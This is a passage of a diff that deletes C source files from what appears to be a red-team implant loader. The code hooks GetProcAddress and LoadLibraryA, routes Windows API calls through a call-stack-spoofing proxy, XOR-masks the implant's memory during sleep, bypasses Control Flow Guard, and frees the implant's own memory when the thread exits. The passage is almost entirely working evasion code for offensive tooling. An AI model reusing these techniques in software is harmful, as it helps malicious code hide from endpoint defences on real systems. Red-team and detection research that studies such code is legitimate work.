* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <windows.h>
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define NTDLLDLL_HASH 0x3CFA685D
#define TEXT_HASH 0xEBC2F9B4
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define RTLLOOKUPFUNCTIONENTRY_HASH 0xC1D846D9
#define GETMODULEHANDLEA_HASH 0xD3324904
#define VIRTUALALLOC_HASH 0x91AFCA54
#define VIRTUALALLOCEX_HASH 0x6E1A959C
#define VIRTUALPROTECT_HASH 0x7946C61B
#define VIRTUALPROTECTEX_HASH 0x53D98756
#define VIRTUALFREE_HASH 0x30633AC
#define GETTHREADCONTEXT_HASH 0x68A7C7D2
#define SETTHREADCONTEXT_HASH 0xE8A7C7D3
#define INTERNETOPENA_HASH 0x57E84429
#define INTERNETCONNECTA_HASH 0x1E4BE80E
#define RESUMETHREAD_HASH 0x9E4A3F88
#define CREATETHREAD_HASH 0xCA2BD06B
#define CREATEREMOTETHREAD_HASH 0x72BD9CDD
#define OPENPROCESS_HASH 0xEFE297C0
#define OPENTHREAD_HASH 0x58C91E6F
#define CLOSEHANDLE_HASH 0xFFD97FB
#define CREATEFILEMAPPINGA_HASH 0x56C61229
#define MAPVIEWOFFILE_HASH 0x7B073C59
#define UNMAPVIEWOFFILE_HASH 0xB2089259
#define VIRTUALQUERY_HASH 0xA3C8C8AA
#define DUPLICATEHANDLE_HASH 0xBD566724
#define READPROCESSMEMORY_HASH 0x579D1BE9
#define WRITEPROCESSMEMORY_HASH 0xD83D6AA1
#define EXITTHREAD_HASH 0x60E0CEEF
#define CREATEPROCESSA_HASH 0x16B3FE72
#define SLEEP_HASH 0xDB2D49B0
#define COCREATEINSTANCE_HASH 0x6E26C880
#define HASH_KEY 13
#ifndef __MINGW32__
#pragma intrinsic( _rotr )
#endif
__forceinline DWORD ror( DWORD d ) {
return _rotr( d, HASH_KEY );
}
__forceinline DWORD hash( char * c )
{
register DWORD h = 0;
do
{
h = ror( h );
h += *c;
} while( *++c );
return h;
}
-695
View File
@@ -1,695 +0,0 @@
/*
* Copyright 2025 Daniel Duggan, Zero-Point Security
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <windows.h>
#include <wininet.h>
#include "hook.h"
#include "cfg.h"
#include "tcg.h"
/* store resolved functions */
void * g_InternetOpenA;
void * g_InternetConnectA;
void * g_CoCreateInstance;
void * g_ExitThread;
/* patched in from loader.spec */
char xorkey[128] = { 1 };
/* some globals */
MEMORY_LAYOUT g_layout;
LPVOID WINAPI _VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$VirtualAlloc);
call.argc = 4;
call.args[0] = (ULONG_PTR)(lpAddress);
call.args[1] = (ULONG_PTR)(dwSize);
call.args[2] = (ULONG_PTR)(flAllocationType);
call.args[3] = (ULONG_PTR)(flProtect);
return (LPVOID)draugr(&call);
}
LPVOID WINAPI _VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$VirtualAllocEx);
call.argc = 5;
call.args[0] = (ULONG_PTR)(hProcess);
call.args[1] = (ULONG_PTR)(lpAddress);
call.args[2] = (ULONG_PTR)(dwSize);
call.args[3] = (ULONG_PTR)(flAllocationType);
call.args[4] = (ULONG_PTR)(flProtect);
return (LPVOID)draugr(&call);
}
BOOL WINAPI _VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$VirtualProtect);
call.argc = 4;
call.args[0] = (ULONG_PTR)(lpAddress);
call.args[1] = (ULONG_PTR)(dwSize);
call.args[2] = (ULONG_PTR)(flNewProtect);
call.args[3] = (ULONG_PTR)(lpflOldProtect);
return (BOOL)draugr(&call);
}
BOOL WINAPI _VirtualProtectEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$VirtualProtectEx);
call.argc = 5;
call.args[0] = (ULONG_PTR)(hProcess);
call.args[1] = (ULONG_PTR)(lpAddress);
call.args[2] = (ULONG_PTR)(dwSize);
call.args[3] = (ULONG_PTR)(flNewProtect);
call.args[4] = (ULONG_PTR)(lpflOldProtect);
return (BOOL)draugr(&call);
}
BOOL WINAPI _VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$VirtualFree);
call.argc = 3;
call.args[0] = (ULONG_PTR)(lpAddress);
call.args[1] = (ULONG_PTR)(dwSize);
call.args[2] = (ULONG_PTR)(dwFreeType);
return (BOOL)draugr(&call);
}
BOOL WINAPI _GetThreadContext(HANDLE hThread, LPCONTEXT lpContext)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$GetThreadContext);
call.argc = 2;
call.args[0] = (ULONG_PTR)(hThread);
call.args[1] = (ULONG_PTR)(lpContext);
return (BOOL)draugr(&call);
}
BOOL WINAPI _SetThreadContext(HANDLE hThread, const CONTEXT *lpContext)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$SetThreadContext);
call.argc = 2;
call.args[0] = (ULONG_PTR)(hThread);
call.args[1] = (ULONG_PTR)(lpContext);
return (BOOL)draugr(&call);
}
HINTERNET WINAPI _InternetOpenA(LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR lpszProxy, LPCSTR lpszProxyBypass, DWORD dwFlags)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(g_InternetOpenA);
call.argc = 5;
call.args[0] = (ULONG_PTR)(lpszAgent);
call.args[1] = (ULONG_PTR)(dwAccessType);
call.args[2] = (ULONG_PTR)(lpszProxy);
call.args[3] = (ULONG_PTR)(lpszProxyBypass);
call.args[4] = (ULONG_PTR)(dwFlags);
return (HINTERNET)draugr(&call);
}
HINTERNET WINAPI _InternetConnectA(HINTERNET hInternet, LPCSTR lpszServerName, INTERNET_PORT nServerPort, LPCSTR lpszUserName, LPCSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(g_InternetConnectA);
call.argc = 8;
call.args[0] = (ULONG_PTR)(hInternet);
call.args[1] = (ULONG_PTR)(lpszServerName);
call.args[2] = (ULONG_PTR)(nServerPort);
call.args[3] = (ULONG_PTR)(lpszUserName);
call.args[4] = (ULONG_PTR)(lpszPassword);
call.args[5] = (ULONG_PTR)(dwService);
call.args[6] = (ULONG_PTR)(dwFlags);
call.args[7] = (ULONG_PTR)(dwContext);
return (HINTERNET)draugr(&call);
}
DWORD WINAPI _ResumeThread(HANDLE hThread)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$ResumeThread);
call.argc = 1;
call.args[0] = (ULONG_PTR)(hThread);
return (DWORD)draugr(&call);
}
HANDLE WINAPI _CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$CreateThread);
call.argc = 6;
call.args[0] = (ULONG_PTR)(lpThreadAttributes);
call.args[1] = (ULONG_PTR)(dwStackSize);
call.args[2] = (ULONG_PTR)(lpStartAddress);
call.args[3] = (ULONG_PTR)(lpParameter);
call.args[4] = (ULONG_PTR)(dwCreationFlags);
call.args[5] = (ULONG_PTR)(lpThreadId);
return (HANDLE)draugr(&call);
}
HANDLE WINAPI _CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$CreateRemoteThread);
call.argc = 7;
call.args[0] = (ULONG_PTR)(hProcess);
call.args[1] = (ULONG_PTR)(lpThreadAttributes);
call.args[2] = (ULONG_PTR)(dwStackSize);
call.args[3] = (ULONG_PTR)(lpStartAddress);
call.args[4] = (ULONG_PTR)(lpParameter);
call.args[5] = (ULONG_PTR)(dwCreationFlags);
call.args[6] = (ULONG_PTR)(lpThreadId);
return (HANDLE)draugr(&call);
}
HANDLE WINAPI _OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$OpenProcess);
call.argc = 3;
call.args[0] = (ULONG_PTR)(dwDesiredAccess);
call.args[1] = (ULONG_PTR)(bInheritHandle);
call.args[2] = (ULONG_PTR)(dwProcessId);
return (HANDLE)draugr(&call);
}
HANDLE WINAPI _OpenThread(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$OpenThread);
call.argc = 3;
call.args[0] = (ULONG_PTR)(dwDesiredAccess);
call.args[1] = (ULONG_PTR)(bInheritHandle);
call.args[2] = (ULONG_PTR)(dwThreadId);
return (HANDLE)draugr(&call);
}
BOOL WINAPI _CloseHandle(HANDLE hObject)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$CloseHandle);
call.argc = 1;
call.args[0] = (ULONG_PTR)(hObject);
return (BOOL)draugr(&call);
}
HANDLE WINAPI _CreateFileMappingA(HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$CreateFileMappingA);
call.argc = 6;
call.args[0] = (ULONG_PTR)(hFile);
call.args[1] = (ULONG_PTR)(lpFileMappingAttributes);
call.args[2] = (ULONG_PTR)(flProtect);
call.args[3] = (ULONG_PTR)(dwMaximumSizeHigh);
call.args[4] = (ULONG_PTR)(dwMaximumSizeLow);
call.args[5] = (ULONG_PTR)(lpName);
return (HANDLE)draugr(&call);
}
LPVOID WINAPI _MapViewOfFile(HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$MapViewOfFile);
call.argc = 5;
call.args[0] = (ULONG_PTR)(hFileMappingObject);
call.args[1] = (ULONG_PTR)(dwDesiredAccess);
call.args[2] = (ULONG_PTR)(dwFileOffsetHigh);
call.args[3] = (ULONG_PTR)(dwFileOffsetLow);
call.args[4] = (ULONG_PTR)(dwNumberOfBytesToMap);
return (LPVOID)draugr(&call);
}
BOOL WINAPI _UnmapViewOfFile(LPCVOID lpBaseAddress)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$MapViewOfFile);
call.argc = 1;
call.args[0] = (ULONG_PTR)(lpBaseAddress);
return (BOOL)draugr(&call);
}
SIZE_T WINAPI _VirtualQuery(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$VirtualQuery);
call.argc = 3;
call.args[0] = (ULONG_PTR)(lpAddress);
call.args[1] = (ULONG_PTR)(lpBuffer);
call.args[2] = (ULONG_PTR)(dwLength);
return (SIZE_T)draugr(&call);
}
BOOL WINAPI _DuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$DuplicateHandle);
call.argc = 7;
call.args[0] = (ULONG_PTR)(hSourceProcessHandle);
call.args[1] = (ULONG_PTR)(hSourceHandle);
call.args[2] = (ULONG_PTR)(hTargetProcessHandle);
call.args[3] = (ULONG_PTR)(lpTargetHandle);
call.args[4] = (ULONG_PTR)(dwDesiredAccess);
call.args[5] = (ULONG_PTR)(bInheritHandle);
call.args[6] = (ULONG_PTR)(dwOptions);
return (BOOL)draugr(&call);
}
BOOL WINAPI _ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesRead)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$ReadProcessMemory);
call.argc = 5;
call.args[0] = (ULONG_PTR)(hProcess);
call.args[1] = (ULONG_PTR)(lpBaseAddress);
call.args[2] = (ULONG_PTR)(lpBuffer);
call.args[3] = (ULONG_PTR)(nSize);
call.args[4] = (ULONG_PTR)(lpNumberOfBytesRead);
return (BOOL)draugr(&call);
}
BOOL WINAPI _WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesWritten)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$WriteProcessMemory);
call.argc = 5;
call.args[0] = (ULONG_PTR)(hProcess);
call.args[1] = (ULONG_PTR)(lpBaseAddress);
call.args[2] = (ULONG_PTR)(lpBuffer);
call.args[3] = (ULONG_PTR)(nSize);
call.args[4] = (ULONG_PTR)(lpNumberOfBytesWritten);
return (BOOL)draugr(&call);
}
DECLSPEC_NORETURN VOID WINAPI _ExitThread(DWORD dwExitCode)
{
/* is cfg enabled? */
BOOL cfgEnabled = CfgEnabled();
if (cfgEnabled) {
/* try to bypass it at NtContinue */
if (BypassCfg(NTDLL$NtContinue)) {
cfgEnabled = FALSE;
}
}
if (!cfgEnabled)
{
CONTEXT ctx;
memset(&ctx, 0, sizeof(CONTEXT));
ctx.ContextFlags = CONTEXT_ALL;
HANDLE hTimerQueue = NULL;
HANDLE hNewTimer = NULL;
hTimerQueue = KERNEL32$CreateTimerQueue();
if (KERNEL32$CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)(KERNEL32$RtlCaptureContext), &ctx, 0, 0, WT_EXECUTEINTIMERTHREAD))
{
KERNEL32$Sleep(1000);
if (ctx.Rip != 0)
{
HANDLE hHeap = KERNEL32$GetProcessHeap();
PCONTEXT ctxFree = (PCONTEXT)KERNEL32$HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(CONTEXT) * 3);
for (int i = 0; i < 3; i++) {
memcpy(&ctxFree[i], &ctx, sizeof(CONTEXT));
}
ctxFree[0].Rsp -= sizeof(PVOID);
ctxFree[0].Rip = (DWORD64)(KERNEL32$VirtualFree);
ctxFree[0].Rcx = (DWORD64)(g_layout.dll.baseAddress);
ctxFree[0].Rdx = (DWORD64)(0);
ctxFree[0].R8 = (DWORD64)(MEM_RELEASE);
ctxFree[1].Rsp -= sizeof(PVOID);
ctxFree[1].Rip = (DWORD64)(KERNEL32$VirtualFree);
ctxFree[1].Rcx = (DWORD64)(g_layout.hooks.baseAddress);
ctxFree[1].Rdx = (DWORD64)(0);
ctxFree[1].R8 = (DWORD64)(MEM_RELEASE);
ctxFree[2].Rsp -= sizeof(PVOID);
ctxFree[2].Rip = (DWORD64)(KERNEL32$VirtualFree);
ctxFree[2].Rcx = (DWORD64)(g_layout.pic.baseAddress);
ctxFree[2].Rdx = (DWORD64)(0);
ctxFree[2].R8 = (DWORD64)(MEM_RELEASE);
KERNEL32$CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)(NTDLL$NtContinue), &ctxFree[0], 500, 0, WT_EXECUTEINTIMERTHREAD);
KERNEL32$CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)(NTDLL$NtContinue), &ctxFree[1], 500, 0, WT_EXECUTEINTIMERTHREAD);
KERNEL32$CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)(NTDLL$NtContinue), &ctxFree[2], 500, 0, WT_EXECUTEINTIMERTHREAD);
}
}
}
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(g_ExitThread);
call.argc = 1;
call.args[0] = (ULONG_PTR)(dwExitCode);
draugr(&call);
}
BOOL WINAPI _CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$CreateProcessA);
call.argc = 10;
call.args[0] = (ULONG_PTR)(lpApplicationName);
call.args[1] = (ULONG_PTR)(lpCommandLine);
call.args[2] = (ULONG_PTR)(lpProcessAttributes);
call.args[3] = (ULONG_PTR)(lpThreadAttributes);
call.args[4] = (ULONG_PTR)(bInheritHandles);
call.args[5] = (ULONG_PTR)(dwCreationFlags);
call.args[6] = (ULONG_PTR)(lpEnvironment);
call.args[7] = (ULONG_PTR)(lpCurrentDirectory);
call.args[8] = (ULONG_PTR)(lpStartupInfo);
call.args[9] = (ULONG_PTR)(lpProcessInformation);
return (BOOL)draugr(&call);
}
HRESULT _CoCreateInstance(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID * ppv)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(g_CoCreateInstance);
call.argc = 5;
call.args[0] = (ULONG_PTR)(rclsid);
call.args[1] = (ULONG_PTR)(pUnkOuter);
call.args[2] = (ULONG_PTR)(dwClsContext);
call.args[3] = (ULONG_PTR)(riid);
call.args[4] = (ULONG_PTR)(ppv);
return (HRESULT)draugr(&call);
}
void applyxor(char * data, DWORD len)
{
for (DWORD x = 0; x < len; x++) {
data[x] ^= xorkey[x % 128];
}
}
BOOL isWriteable(DWORD protection)
{
if (protection == PAGE_EXECUTE_READWRITE || protection == PAGE_EXECUTE_WRITECOPY || protection == PAGE_READWRITE || protection == PAGE_WRITECOPY) {
return TRUE;
}
return FALSE;
}
void xorsection(MEMORY_SECTION * section, BOOL mask)
{
if (mask == TRUE && isWriteable(section->currentProtect) == FALSE) {
DWORD oldProtect = 0;
if (_VirtualProtect(section->baseAddress, section->size, PAGE_READWRITE, &oldProtect)) {
section->currentProtect = PAGE_READWRITE;
section->previousProtect = oldProtect;
}
}
if (isWriteable(section->currentProtect)) {
applyxor(section->baseAddress, section->size);
}
if (mask == FALSE && section->currentProtect != section->previousProtect) {
DWORD oldProtect;
if (_VirtualProtect(section->baseAddress, section->size, section->previousProtect, &oldProtect)) {
section->currentProtect = section->previousProtect;
section->previousProtect = oldProtect;
}
}
}
void xorregion(MEMORY_REGION * region, BOOL mask)
{
for (int i = 0; i < 5; i++) {
xorsection(&region->sections[i], mask);
}
}
void xormemory(BOOL mask) {
xorregion(&g_layout.dll, mask);
}
VOID WINAPI _Sleep(DWORD dwMilliseconds)
{
/*
* only xor and stack spoof if
* sleep is >= 1s
*/
if (dwMilliseconds < 1000) {
KERNEL32$Sleep(dwMilliseconds);
return;
}
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$Sleep);
call.argc = 1;
call.args[0] = (ULONG_PTR)(dwMilliseconds);
xormemory(TRUE);
draugr(&call);
xormemory(FALSE);
}
HMODULE WINAPI _LoadLibraryA(LPCSTR lpLibFileName)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(LoadLibraryA);
call.argc = 1;
call.args[0] = (ULONG_PTR)(lpLibFileName);
return (HMODULE)draugr(&call);
}
char * WINAPI _GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
{
char * result = (char *)GetProcAddress(hModule, lpProcName);
/*
* Check to see what function is being resolved.
* Note that lpProcName may be an ordinal, not a string.
*/
if ((ULONG_PTR)lpProcName >> 16 == 0) {
/* it's an ordinal */
return result;
}
/* Look at the ones we want to hook */
/* Calculte function hash */
DWORD h = hash((char *)lpProcName);
if (h == GETPROCADDRESS_HASH) {
return (char *)_GetProcAddress;
}
else if (h == LOADLIBRARYA_HASH) {
return (char *)_LoadLibraryA;
}
else if (h == VIRTUALALLOC_HASH) {
return (char *)_VirtualAlloc;
}
else if (h == VIRTUALALLOCEX_HASH) {
return (char *)_VirtualAllocEx;
}
else if (h == VIRTUALPROTECT_HASH) {
return (char *)_VirtualProtect;
}
else if (h == VIRTUALPROTECTEX_HASH) {
return (char *)_VirtualProtectEx;
}
else if (h == VIRTUALFREE_HASH) {
return (char *)_VirtualFree;
}
else if (h == GETTHREADCONTEXT_HASH) {
return (char *)_GetThreadContext;
}
else if (h == SETTHREADCONTEXT_HASH) {
return (char *)_SetThreadContext;
}
else if (h == INTERNETOPENA_HASH) {
g_InternetOpenA = result;
return (char *)_InternetOpenA;
}
else if (h == INTERNETCONNECTA_HASH) {
g_InternetConnectA = result;
return (char *)_InternetConnectA;
}
else if (h == RESUMETHREAD_HASH) {
return (char *)_ResumeThread;
}
else if (h == CREATETHREAD_HASH) {
return (char *)_CreateThread;
}
else if (h == CREATEREMOTETHREAD_HASH) {
return (char *)_CreateRemoteThread;
}
else if (h == OPENPROCESS_HASH) {
return (char *)_OpenProcess;
}
else if (h == OPENTHREAD_HASH) {
return (char *)_OpenThread;
}
else if (h == CLOSEHANDLE_HASH) {
return (char *)_CloseHandle;
}
else if (h == CREATEFILEMAPPINGA_HASH) {
return (char *)_CreateFileMappingA;
}
else if (h == MAPVIEWOFFILE_HASH) {
return (char *)_MapViewOfFile;
}
else if (h == UNMAPVIEWOFFILE_HASH) {
return (char *)_UnmapViewOfFile;
}
else if (h == VIRTUALQUERY_HASH) {
return (char *)_VirtualQuery;
}
else if (h == DUPLICATEHANDLE_HASH) {
return (char *)_DuplicateHandle;
}
else if (h == READPROCESSMEMORY_HASH) {
return (char *)_ReadProcessMemory;
}
else if (h == WRITEPROCESSMEMORY_HASH) {
return (char *)_WriteProcessMemory;
}
else if (h == EXITTHREAD_HASH) {
g_ExitThread = result;
return (char *)_ExitThread;
}
else if (h == CREATEPROCESSA_HASH) {
return (char *)_CreateProcessA;
}
else if (h == SLEEP_HASH) {
return (char *)_Sleep;
}
else if (h == COCREATEINSTANCE_HASH) {
g_CoCreateInstance = result;
return (char *)_CoCreateInstance;
}
return result;
}
void go(IMPORTFUNCS * funcs, MEMORY_LAYOUT * layout)
{
funcs->LoadLibraryA = (__typeof__(LoadLibraryA) *)_LoadLibraryA;
funcs->GetProcAddress = (__typeof__(GetProcAddress) *)_GetProcAddress;
if (layout != NULL) {
g_layout = *layout;
}
initFrameInfo();
}
-422
View File
@@ -1,422 +0,0 @@
/*
* Copyright 2025 Daniel Duggan, Zero-Point Security
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <windows.h>
#include "hash.h"
#include "proxy.h"
#include "memory.h"
#define RBP_OP_INFO 0x5
#define draugrArg(i) (ULONG_PTR)functionCall->args[i]
#define memset(x, y, z) __stosb((unsigned char *)x, y, z);
#define memcpy(x, y, z) __movsb((unsigned char *)x, (unsigned char *)y, z);
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc (LPVOID, SIZE_T, DWORD, DWORD);
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAllocEx (HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect (LPVOID, SIZE_T, DWORD, PDWORD);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtectEx (HANDLE, LPVOID, SIZE_T, DWORD, PDWORD);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree (LPVOID, SIZE_T, DWORD);
DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQuery (LPCVOID, PMEMORY_BASIC_INFORMATION, SIZE_T);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetThreadContext (HANDLE, LPCONTEXT);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetThreadContext (HANDLE, const CONTEXT *);
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$ResumeThread (HANDLE);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateThread (LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateRemoteThread (HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
